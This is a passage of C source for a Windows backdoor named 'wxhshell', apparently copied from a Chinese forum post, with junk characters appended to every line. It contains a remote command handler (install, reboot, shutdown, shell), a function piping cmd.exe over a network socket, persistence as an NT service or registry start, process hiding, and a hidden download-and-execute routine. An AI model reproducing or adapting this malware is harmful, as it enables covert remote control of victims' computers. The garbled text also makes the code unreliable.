  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TQNdBq5I6  
  } -64 ;P9:A>  
  else { Q&w_kz.  
::iYydpM  
    switch(cmd[0]) { XOQ0(e6  
  p{W Amly  
  // 帮助 pY3/AO=  
  case '?': { \v\ONp"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }vx,i99W?  
    break; #3LZX!  
  } DO-M0L  
  // 安装 u9~Ncz  
  case 'i': { KnA BFH  
    if(Install()) dhxzW@'nIL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1!;~Y#  
    else Rx"+i0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1y6<gptx  
    break; <pa-C2Ky  
    } `$FX%p  
  // 卸载 @M-Q|  
  case 'r': { 0F![<5X  
    if(Uninstall()) 517wduj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k:j_:C&.  
    else .>[l@x"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); btnD+O66<  
    break; 60n P'xfR  
    } fJ5mKN  
  // 显示 wxhshell 所在路径 bx{njo1Mr  
  case 'p': { dZf1iFCP  
    char svExeFile[MAX_PATH]; M=ag\1S&ZF  
    strcpy(svExeFile,"\n\r"); [\<#iRcP  
      strcat(svExeFile,ExeFile); &s}sA+w  
        send(wsh,svExeFile,strlen(svExeFile),0); 3X;>cv#B  
    break; YIZu{  
    } *q,nALs  
  // 重启 1BW9,Xr  
  case 'b': { D*VO;?D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Whp`\E< <  
    if(Boot(REBOOT)) dyf>T}Iy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RyukQY~<W  
    else { [N~-9  
    closesocket(wsh); n/*" 2  
    ExitThread(0); 2_3os P\Z  
    } q27q/q8  
    break; <P0 P*>M  
    } toPFkc6`  
  // 关机 {: _*P TVk  
  case 'd': { xhho{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R1Q,m  
    if(Boot(SHUTDOWN)) iR{@~JN=)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }1V+8'D  
    else { /g9^g(  
    closesocket(wsh); gp 11/ .  
    ExitThread(0); :(/1,]bF  
    } lf KV%  
    break; NRP) 'E  
    } +lFBH(o]X  
  // 获取shell ;g+fY 6  
  case 's': { "5FP$oR  
    CmdShell(wsh); dQ_'8 )  
    closesocket(wsh); ;O~FiA~`c  
    ExitThread(0); F g):>];<9  
    break; l?m 3 *  
  } U1/ww-!Z  
  // 退出 ]goV Q'Y  
  case 'x': { yV L >Ie/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %G6x\[,  
    CloseIt(wsh); ;QCGl$8A  
    break; YKayaI\*  
    } ~p{YuW[e  
  // 离开 ouoIbA9X  
  case 'q': { /4+zT?f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =x(k)RTDu  
    closesocket(wsh); zp'hA  
    WSACleanup(); zT/woiyB`  
    exit(1); *M:p[.=1  
    break; 4XJ']M(5;  
        } a5pM~.]  
  } ND=JpVkvZ?  
  } Rw[!Jq  
Sa.nUj{M=  
  // 提示信息 :U'n0\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "la0@/n  
} sH1 ucZ>9Y  
  } )G]J@36  
`2V{]F  
  return; LSXsq}  
} 7hMh%d0d(_  
RCK*?\m5  
// shell模块句柄 "OkZ [E)  
int CmdShell(SOCKET sock) sMJa4P>O@  
{ G$Fo*;Fl  
STARTUPINFO si; b!"qbC1  
ZeroMemory(&si,sizeof(si)); &js$qgY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vt(n: Xk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {Q]7!/>>  
PROCESS_INFORMATION ProcessInfo; %){/O}I]>  
char cmdline[]="cmd"; \sW>Y#9]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qla=LS\-A+  
  return 0; L/bvM?B^  
} 56NDU>j$  
l}g_<  
// 自身启动模式 8zJye6f;l  
int StartFromService(void) 4m~p(r  
{ 76c:* bZ  
typedef struct W7~OU(}[`  
{ H6 $pA^  
  DWORD ExitStatus; 1mfB6p1Z(  
  DWORD PebBaseAddress; ~1,$  
  DWORD AffinityMask; 4Xn-L&0z  
  DWORD BasePriority; 5g9K|-  
  ULONG UniqueProcessId; EzCi%>q  
  ULONG InheritedFromUniqueProcessId; 4Xv."L  
}   PROCESS_BASIC_INFORMATION; ~"R;p}5 "  
AVc|(~V  
PROCNTQSIP NtQueryInformationProcess; YQO9$g0% ~  
8D^ iQBA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O G7U+d6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3%N!omAe  
8}Maj  
  HANDLE             hProcess; c&SSf_0O*  
  PROCESS_BASIC_INFORMATION pbi; +6<g N[  
 ~}K$z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \ERHnh  
  if(NULL == hInst ) return 0; Nb>C5TjR  
dW|S\S'&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7zXX& S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GM@0$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Rd1I$| Y  
P[Id[}5Pw  
  if (!NtQueryInformationProcess) return 0; emS7q|^  
R&L^+?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P"+K'B7K3  
  if(!hProcess) return 0; \!r,>P   
>#xIqxV,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~t.i;eu  
~_4$|WKl  
  CloseHandle(hProcess); j sw0"d(  
6 &MATMR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;J?zD9  
if(hProcess==NULL) return 0; *U|2u+| F  
H3BMN}K~  
HMODULE hMod; SRyot:l   
char procName[255]; >xm:?WR  
unsigned long cbNeeded; f\vg<lca  
(d=knoo7A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9%bqY9NFd  
_R|8_#yM  
  CloseHandle(hProcess); 2?9gf,U  
! d" i  
if(strstr(procName,"services")) return 1; // 以服务启动 P%kJq^&  
(>gHfC>(lq  
  return 0; // 注册表启动 @ u2 P&|:{  
} XZ1<sm8t."  
3 *[YM7y  
// 主模块 `F' >NNY  
int StartWxhshell(LPSTR lpCmdLine) sQr |3}I(  
{ t3FfPV!P"  
  SOCKET wsl; ch:0qgJ  
BOOL val=TRUE; dW2Lvnh!>/  
  int port=0; +Zo&c}  
  struct sockaddr_in door; Kx5VR4f`J@  
8>~\R=SC  
  if(wscfg.ws_autoins) Install(); gye'_AR?k  
81 /t)Cp  
port=atoi(lpCmdLine); s*.&DN  
|a[Id  
if(port<=0) port=wscfg.ws_port; hS7o=G[  
4"y1M=he  
  WSADATA data; [%yCnt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \>GHc}  
/?g:`NT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8X2NEVH]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y1h)0_0  
  door.sin_family = AF_INET; }O7b&G:nW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lDm0O)Dh!  
  door.sin_port = htons(port); O!#bM< *  
3Zeh$DZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d%='W|i\p&  
closesocket(wsl); nq"U`z@R  
return 1; F8%.-.l)  
} 4! V--F  
n%Gk {h5  
  if(listen(wsl,2) == INVALID_SOCKET) { WTP~MJ#C  
closesocket(wsl); b )mU9   
return 1; ^;]Q,*Q  
} gu~F(Fb'  
  Wxhshell(wsl); .q^+llM  
  WSACleanup(); /kKF|Hg`c  
@mB*fl?-  
return 0; MTxe5ob`$Q  
[b<AQFh<c  
} 0j )D[K  
C VyE5w  
// 以NT服务方式启动 hLf<-NM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) orcPKCz|"  
{ } JePEmj  
DWORD   status = 0; 2!+saf^-,  
  DWORD   specificError = 0xfffffff; <+wbnnK  
B5iVT<:a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .+ w#n<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o2C{V1nB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !jeoB  
  serviceStatus.dwWin32ExitCode     = 0; :t36]NM  
  serviceStatus.dwServiceSpecificExitCode = 0; !b0ANIp  
  serviceStatus.dwCheckPoint       = 0; KkJK5dZo  
  serviceStatus.dwWaitHint       = 0; =83FCq"  
&2EimP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MvLmEmKb}\  
  if (hServiceStatusHandle==0) return;  XAb!hc   
zFn-V EJ)  
status = GetLastError(); vCB0 x:/  
  if (status!=NO_ERROR) 3{wmKo|_X  
{ .(7 end<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l,pI~A`w_  
    serviceStatus.dwCheckPoint       = 0; ).BZPyV<  
    serviceStatus.dwWaitHint       = 0; #@#/M)  
    serviceStatus.dwWin32ExitCode     = status; !X5~!b^*  
    serviceStatus.dwServiceSpecificExitCode = specificError; /kLG/ry8l:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nF8|*}w  
    return; {O4y Y=G  
  } F"k.1.  
;ORT#7CU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EO<{Bj=2  
  serviceStatus.dwCheckPoint       = 0; y$f{P:!"{3  
  serviceStatus.dwWaitHint       = 0; &ZmHR^Flz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S8 {Sb>  
} d'4^c,d  
U=<d;2N#  
// 处理NT服务事件,比如:启动、停止  yO7xAb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z uh!{_x;  
{ SP,#KyWP0)  
switch(fdwControl) /:YJ2AARY  
{ 2Op\`Ht &  
case SERVICE_CONTROL_STOP: eq|G\XJ  
  serviceStatus.dwWin32ExitCode = 0; kFJ sB,2-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5L'bF2SI  
  serviceStatus.dwCheckPoint   = 0; ranLHm.nB  
  serviceStatus.dwWaitHint     = 0; f^tCD'Vmi  
  { *5\k1-$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xS4B"/  
  } !OVTs3}  
  return; M7\; Y  
case SERVICE_CONTROL_PAUSE: M=mzl750M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qMk"i@"  
  break; |\1!*Qp  
case SERVICE_CONTROL_CONTINUE: aetK<9L$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yEaim~  
  break; ]w3-No  
case SERVICE_CONTROL_INTERROGATE: O[N}@%HMW  
  break; ^* xhbM;  
}; M!{;:m28X!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <$f7&6B  
} 3Ishe"  
bVB_KE  
// 标准应用程序主函数 / _N*6a~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y%y F34  
{ ]6`]+&  
OZ/P@`kN.f  
// 获取操作系统版本 [<HU ~PP  
OsIsNt=GetOsVer(); P,$|.p d'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i|z=q  
&0E>&1`7  
  // 从命令行安装 X&B2&e;  
  if(strpbrk(lpCmdLine,"iI")) Install(); q'07  
Ya#,\;dTT  
  // 下载执行文件 ?B)jnBh|  
if(wscfg.ws_downexe) { q8j W&_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FC'v= *  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4K_fN  
} F"3LG"  
n9Mi?#xIp  
if(!OsIsNt) { mfYY?]A*+  
// 如果时win9x,隐藏进程并且设置为注册表启动 %gF; A*  
HideProc(); C^}2::Qu  
StartWxhshell(lpCmdLine); H5L~[\ 5t  
} ZyJdz+L{@V  
else r%M.rYLG{  
  if(StartFromService()) a/9R~DwN  
  // 以服务方式启动 {uurM` f}:  
  StartServiceCtrlDispatcher(DispatchTable); g]'RwI  
else >L\>Th{o  
  // 普通方式启动 j@JhxCe1+R  
  StartWxhshell(lpCmdLine); [fN?=,8  
=hs !t|(*  
return 0; q/ x(:yol  
}
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只看该作者 1 发表于: 2006-10-10
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